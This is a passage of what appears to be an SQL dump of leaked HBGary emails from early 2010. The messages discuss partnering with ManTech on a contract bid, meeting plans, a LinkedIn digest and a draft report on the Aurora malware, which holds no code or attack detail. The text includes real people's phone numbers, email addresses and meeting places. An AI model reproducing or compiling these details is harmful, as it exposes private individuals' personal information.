have strong business ties at Mantech at the highest levels of the company. &nbsp;Bill Varner and Larry Prior are about as straight as the come in this business and are very well respected for what they can deliver and how they conduct themselves. &nbsp;I don\'t know Alex as well (he is the VP that wanted me to be his deputy), but from what I have discerned so far he is of the same mindset.\r\n\r\n\r\nI will give Mantech some allowances because I believe they will be a strong ally on the services business, but I won\'t ignore the standard protocols and protective measures of business.\r\n\r\nYou definitely have very strong feelings about Mantech, so I don\'t want to brush those aside and I respect your experience in these matters. &nbsp;But I also don\'t want to create an atmosphere amongst our folks that might dampen our potential relationship before we give them an opportunity.\r\n\r\n\r\nPlease forgive me Bob, as the product side of things are new to me, again I think I missed the mark and should have invited you to this meeting, but I view this as a technical exchange to start rather than a sales call. &nbsp;I want Alex and his team to view us as potential partners and not just a potential vendor, so I don\'t want to get too steeped in a sales discussion at the onset but some of that would be good and I value your knowledge and perspective. &nbsp;You are more than welcome to join us tomorrow if you can make it. &nbsp;But if you do join us I just ask that you keep an open mind as to the current environment at Mantech.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:23 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n&nbsp;\r\nBeware of ManTech.&nbsp; I consider them to be potential competitors.&nbsp; (And I don\'t trust them based on past dealings.)\r\n&nbsp;\r\nAn existing awardee list is good news.&nbsp; It could make things move faster.\r\n&nbsp;\r\nLet me know if you need my help.&nbsp; If help&nbsp;you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.&nbsp; HBGary sales team is organized as follows as it pertains to US gov\'t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov\'t contractors.\r\n&nbsp;\r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award. &nbsp;We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown. &nbsp;If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees. &nbsp;This opportunity is too much of a softball for us, we have to go for it. &nbsp;Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n&nbsp;\r\nThanks.&nbsp; I was able to read the docs.&nbsp; I skimmed them quickly tonight.&nbsp; Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n&nbsp;\r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n&nbsp;\r\nLet me know if you need me to commit work cycles to it.\r\n&nbsp;\r\nBob&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2151,'aaron_hbgary_com/2151.html'),(1995,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000789.M444701P3547Q1995.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Resending for Aaron','Meeting is at 9am at&nbsp;Kidwell Bldg 5th floor Conference Room1951 Kidwell Dr. Suite 500Vienna, VA 22182On Feb 4, 2010, at 1:51 AM, Bob Slapnik wrote:If you can get revenue from&nbsp;ManTech and you are dealing with people there you trust, then go for it.&nbsp; I have zero issue with doing services work with them.\r\n&nbsp;\r\nSpeaking only for myself (not you), I would be reluctant to put&nbsp;HBGary software in their hands.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Thu, Feb 4, 2010 at 1:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nI understand your concerns. &nbsp;In the services space everyone is a potential competitor and a potential ally depending on the opportunity. &nbsp;I have strong business ties at Mantech at the highest levels of the company. &nbsp;Bill Varner and Larry Prior are about as straight as the come in this business and are very well respected for what they can deliver and how they conduct themselves. &nbsp;I don\'t know Alex as well (he is the VP that wanted me to be his deputy), but from what I have discerned so far he is of the same mindset.\r\n\r\n\r\nI will give Mantech some allowances because I believe they will be a strong ally on the services business, but I won\'t ignore the standard protocols and protective measures of business.\r\n\r\nYou definitely have very strong feelings about Mantech, so I don\'t want to brush those aside and I respect your experience in these matters. &nbsp;But I also don\'t want to create an atmosphere amongst our folks that might dampen our potential relationship before we give them an opportunity.\r\n\r\n\r\nPlease forgive me Bob, as the product side of things are new to me, again I think I missed the mark and should have invited you to this meeting, but I view this as a technical exchange to start rather than a sales call. &nbsp;I want Alex and his team to view us as potential partners and not just a potential vendor, so I don\'t want to get too steeped in a sales discussion at the onset but some of that would be good and I value your knowledge and perspective. &nbsp;You are more than welcome to join us tomorrow if you can make it. &nbsp;But if you do join us I just ask that you keep an open mind as to the current environment at Mantech.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:23 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n&nbsp;\r\nBeware of ManTech.&nbsp; I consider them to be potential competitors.&nbsp; (And I don\'t trust them based on past dealings.)\r\n&nbsp;\r\nAn existing awardee list is good news.&nbsp; It could make things move faster.\r\n&nbsp;\r\nLet me know if you need my help.&nbsp; If help&nbsp;you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.&nbsp; HBGary sales team is organized as follows as it pertains to US gov\'t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov\'t contractors.\r\n&nbsp;\r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award. &nbsp;We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown. &nbsp;If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees. &nbsp;This opportunity is too much of a softball for us, we have to go for it. &nbsp;Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n&nbsp;\r\nThanks.&nbsp; I was able to read the docs.&nbsp; I skimmed them quickly tonight.&nbsp; Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n&nbsp;\r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n&nbsp;\r\nLet me know if you need me to commit work cycles to it.\r\n&nbsp;\r\nBob&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13251,'aaron_hbgary_com/13251.html'),(1996,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000789.M668682P3547Q1996.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Resending for Aaron','I am in Nashville and don&#39;t arrive in BWI until 12:30 on Thur\r\n \r\nOn Thu, Feb 4, 2010 at 1:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan you come tomorrow?  Its at 9am.  I will send the invite to you just in case. \r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:51 AM, Bob Slapnik wrote:\r\n\r\nIf you can get revenue from ManTech and you are dealing with people there you trust, then go for it.  I have zero issue with doing services work with them.\r\n \r\nSpeaking only for myself (not you), I would be reluctant to put HBGary software in their hands.\r\n \r\n \r\n \r\nOn Thu, Feb 4, 2010 at 1:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nI understand your concerns.  In the services space everyone is a potential competitor and a potential ally depending on the opportunity.  I have strong business ties at Mantech at the highest levels of the company.  Bill Varner and Larry Prior are about as straight as the come in this business and are very well respected for what they can deliver and how they conduct themselves.  I don&#39;t know Alex as well (he is the VP that wanted me to be his deputy), but from what I have discerned so far he is of the same mindset.\r\n\r\n\r\nI will give Mantech some allowances because I believe they will be a strong ally on the services business, but I won&#39;t ignore the standard protocols and protective measures of business.\r\n\r\nYou definitely have very strong feelings about Mantech, so I don&#39;t want to brush those aside and I respect your experience in these matters.  But I also don&#39;t want to create an atmosphere amongst our folks that might dampen our potential relationship before we give them an opportunity.\r\n\r\n\r\nPlease forgive me Bob, as the product side of things are new to me, again I think I missed the mark and should have invited you to this meeting, but I view this as a technical exchange to start rather than a sales call.  I want Alex and his team to view us as potential partners and not just a potential vendor, so I don&#39;t want to get too steeped in a sales discussion at the onset but some of that would be good and I value your knowledge and perspective.  You are more than welcome to join us tomorrow if you can make it.  But if you do join us I just ask that you keep an open mind as to the current environment at Mantech.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:23 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n \r\nBeware of ManTech.  I consider them to be potential competitors.  (And I don&#39;t trust them based on past dealings.)\r\n \r\nAn existing awardee list is good news.  It could make things move faster.\r\n \r\nLet me know if you need my help.  If help you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.  HBGary sales team is organized as follows as it pertains to US gov&#39;t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov&#39;t contractors.\r\n \r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award.  We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown.  If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees.  This opportunity is too much of a softball for us, we have to go for it.  Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n \r\nThanks.  I was able to read the docs.  I skimmed them quickly tonight.  Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n \r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n \r\nLet me know if you need me to commit work cycles to it.\r\n \r\nBob \r\n \r\n \r\n \r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',10324,'aaron_hbgary_com/10324.html'),(1997,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000791.M284610P3547Q1998.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: DRAFT of DDR Report for Aurora','Greg,\r\n\r\nI think the report looks great.\r\n\r\nA few comments.  First.  Do you want me to send this to Chris and John or wait until after our technical discussion?  I think it would be good to get this in front of them soon to see where they can merge the report and the data they are putting together regarding Aurora.\r\n\r\nI would consider putting an executive summary that grabs the seniors right up front.  Gives them the actionable intelligence immediately.  Who are the players, How does it work, What do they want, and how can I protect myself.\r\n\r\nThen go into the indepth technical analysis.\r\n\r\nYou dropped the Social maps.  What was the reason?\r\n\r\nAaron\r\n\r\nOn Feb 3, 2010, at 7:08 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> The attached word doc is my DRAFT for this report.  Aaron, I would love to get Endgames to add some content to the RECENT ACTIVITY section.\r\n>  \r\n> We could have spent several more days tearing this thing apart.  Frankly, I need some current C&C servers and droppers.  Our sample is a few weeks old.  However, that said, there should be MORE than enough information in here to help DuPont understand that Aurora was not on the memory image they sent to us.\r\n>  \r\n> Shawn is preparing an innoculation shot, I want to deliver it to DuPont tommorow.  Marc, you might want to insert a short paragraph detailing how to use DG to remove that registry key and subsequent file.  I know DG can do this kind of thing.\r\n>  \r\n> Any additional data is welcome.  I want to make sure that DG is highlighted.  The Respond section at the end has plenty of room to talk about using DG to eliminate that malware off a machine.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13822,'aaron_hbgary_com/13822.html'),(1998,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000791.M509474P3547Q1999.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Resending for Aaron','IAE Conference.  Lots of high level DoD folks.  NSA too.  I didn&#39;t see Van Putte.  Good conference.\r\n \r\nOn Thu, Feb 4, 2010 at 2:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nok.  What conference was that again that you guys were at?  IA wasn&#39;t it?  Who did you all talk to?  Sounds like some senior folks.  And Van Putte as well.  Thats great.  DId you sit in on that? \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 2:02 AM, Bob Slapnik wrote:\r\n\r\nI am in Nashville and don&#39;t arrive in BWI until 12:30 on Thur\r\n \r\nOn Thu, Feb 4, 2010 at 1:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan you come tomorrow?  Its at 9am.  I will send the invite to you just in case. \r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:51 AM, Bob Slapnik wrote:\r\n\r\nIf you can get revenue from ManTech and you are dealing with people there you trust, then go for it.  I have zero issue with doing services work with them.\r\n \r\nSpeaking only for myself (not you), I would be reluctant to put HBGary software in their hands.\r\n \r\n \r\n \r\nOn Thu, Feb 4, 2010 at 1:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nI understand your concerns.  In the services space everyone is a potential competitor and a potential ally depending on the opportunity.  I have strong business ties at Mantech at the highest levels of the company.  Bill Varner and Larry Prior are about as straight as the come in this business and are very well respected for what they can deliver and how they conduct themselves.  I don&#39;t know Alex as well (he is the VP that wanted me to be his deputy), but from what I have discerned so far he is of the same mindset.\r\n\r\n\r\nI will give Mantech some allowances because I believe they will be a strong ally on the services business, but I won&#39;t ignore the standard protocols and protective measures of business.\r\n\r\nYou definitely have very strong feelings about Mantech, so I don&#39;t want to brush those aside and I respect your experience in these matters.  But I also don&#39;t want to create an atmosphere amongst our folks that might dampen our potential relationship before we give them an opportunity.\r\n\r\n\r\nPlease forgive me Bob, as the product side of things are new to me, again I think I missed the mark and should have invited you to this meeting, but I view this as a technical exchange to start rather than a sales call.  I want Alex and his team to view us as potential partners and not just a potential vendor, so I don&#39;t want to get too steeped in a sales discussion at the onset but some of that would be good and I value your knowledge and perspective.  You are more than welcome to join us tomorrow if you can make it.  But if you do join us I just ask that you keep an open mind as to the current environment at Mantech.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:23 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n \r\nBeware of ManTech.  I consider them to be potential competitors.  (And I don&#39;t trust them based on past dealings.)\r\n \r\nAn existing awardee list is good news.  It could make things move faster.\r\n \r\nLet me know if you need my help.  If help you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.  HBGary sales team is organized as follows as it pertains to US gov&#39;t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov&#39;t contractors.\r\n \r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award.  We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown.  If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees.  This opportunity is too much of a softball for us, we have to go for it.  Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n \r\nThanks.  I was able to read the docs.  I skimmed them quickly tonight.  Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n \r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n \r\nLet me know if you need me to commit work cycles to it.\r\n \r\nBob \r\n \r\n \r\n \r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',10092,'aaron_hbgary_com/10092.html'),(1999,'2010-02-04','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297000791.M731086P3547Q2000.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 2/04/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Jan 28 - Feb 4\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                    Lap Truong has an updated current title: System Architect / Manager at Nothrop Grumman Corporation\r\n                  Send congratulations &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                        Andy Purdy is now Chief Cybersecurity Strategist at CSC\r\n                  Send congratulations &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n      \r\n       \r\n      Andy Purdy has an updated work phone number: 703-641-2176. Update your personal info\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Stu Shea\r\nis now connected to\r\n            Straub, John\r\n,             Tom Codella\r\n,             Anthony Verna\r\n,       and 8 other people.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Johna Copeland\r\n    is now connected to\r\n        Ryan Schneider\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Mohannad H. Gomaa, MBA PMP FE\r\n    is now connected to\r\n        Nihal Zahwi\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Working 2-stage snowblowers are wonderful devices. Beats shoveling a loong driveway with what @dougemery notes is just an extra large spoon.\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Guy Mincey\r\n      AFCEA Energy is On it\'s way! Please visit our site www.afceaenergy.org !!!!\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Joseph Nicholas has joined 2 groups, including\r\n      \r\n      George Mason University School of Management\r\n      and\r\n      Unmanned Systems Network\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Katherine Green has joined\r\n    McLean Entrepreneurial Advocacy Council (MEAC)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Eric Hallam recommends\r\ncolleague      Stacee Kannon\r\n          Director, Program Planning &amp; Control at Northrop Grumman Information Systems\r\n        Stacee was my mentor for over a year at Northrop Grumman. I met her at a off-site planning session a...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',2957,'aaron_hbgary_com/2957.html'),(2000,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000791.M84589P3547Q1997.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Resending for Aaron','ok. &nbsp;What conference was that again that you guys were at? &nbsp;IA wasn\'t it? &nbsp;Who did you all talk to? &nbsp;Sounds like some senior folks. &nbsp;And Van Putte as well. &nbsp;Thats great. &nbsp;DId you sit in on that?AaronOn Feb 4, 2010, at 2:02 AM, Bob Slapnik wrote:I am in Nashville and don\'t arrive in BWI until 12:30 on Thur\r\n&nbsp;\r\nOn Thu, Feb 4, 2010 at 1:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan you come tomorrow? &nbsp;Its at 9am. &nbsp;I will send the invite to you just in case. \r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:51 AM, Bob Slapnik wrote:\r\n\r\nIf you can get revenue from&nbsp;ManTech and you are dealing with people there you trust, then go for it.&nbsp; I have zero issue with doing services work with them.\r\n&nbsp;\r\nSpeaking only for myself (not you), I would be reluctant to put&nbsp;HBGary software in their hands.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Thu, Feb 4, 2010 at 1:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nI understand your concerns. &nbsp;In the services space everyone is a potential competitor and a potential ally depending on the opportunity. &nbsp;I have strong business ties at Mantech at the highest levels of the company. &nbsp;Bill Varner and Larry Prior are about as straight as the come in this business and are very well respected for what they can deliver and how they conduct themselves. &nbsp;I don\'t know Alex as well (he is the VP that wanted me to be his deputy), but from what I have discerned so far he is of the same mindset.\r\n\r\n\r\nI will give Mantech some allowances because I believe they will be a strong ally on the services business, but I won\'t ignore the standard protocols and protective measures of business.\r\n\r\nYou definitely have very strong feelings about Mantech, so I don\'t want to brush those aside and I respect your experience in these matters. &nbsp;But I also don\'t want to create an atmosphere amongst our folks that might dampen our potential relationship before we give them an opportunity.\r\n\r\n\r\nPlease forgive me Bob, as the product side of things are new to me, again I think I missed the mark and should have invited you to this meeting, but I view this as a technical exchange to start rather than a sales call. &nbsp;I want Alex and his team to view us as potential partners and not just a potential vendor, so I don\'t want to get too steeped in a sales discussion at the onset but some of that would be good and I value your knowledge and perspective. &nbsp;You are more than welcome to join us tomorrow if you can make it. &nbsp;But if you do join us I just ask that you keep an open mind as to the current environment at Mantech.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:23 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n&nbsp;\r\nBeware of ManTech.&nbsp; I consider them to be potential competitors.&nbsp; (And I don\'t trust them based on past dealings.)\r\n&nbsp;\r\nAn existing awardee list is good news.&nbsp; It could make things move faster.\r\n&nbsp;\r\nLet me know if you need my help.&nbsp; If help&nbsp;you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.&nbsp; HBGary sales team is organized as follows as it pertains to US gov\'t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov\'t contractors.\r\n&nbsp;\r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award. &nbsp;We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown. &nbsp;If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees. &nbsp;This opportunity is too much of a softball for us, we have to go for it. &nbsp;Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n&nbsp;\r\nThanks.&nbsp; I was able to read the docs.&nbsp; I skimmed them quickly tonight.&nbsp; Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n&nbsp;\r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n&nbsp;\r\nLet me know if you need me to commit work cycles to it.\r\n&nbsp;\r\nBob&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15675,'aaron_hbgary_com/15675.html'),(2001,'2010-02-04','rich@hbgary.com','/aaron@hbgary.com/new/1297000792.M23562P3547Q2001.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meet','I can be there by 815-ish.  Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 01:24:05 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: MeetRich,I am just down the road. &nbsp;I can meet at 8 or 830...you tell me. &nbsp;830 will only give us about 15min before we have to hit the road for Mantech.Can you bring a windows box?Lets meet at:Starbucks8381 Leesburg PikeVienna, VA 22182\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',1610,'aaron_hbgary_com/1610.html'),(2002,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000792.M245096P3547Q2002.eml','rich@hbgary.com','Re: Meet','Same here.  Kids always run ya late.From my iPhoneOn Feb 4, 2010, at 7:46 AM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\nI can be there by 815-ish.  Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 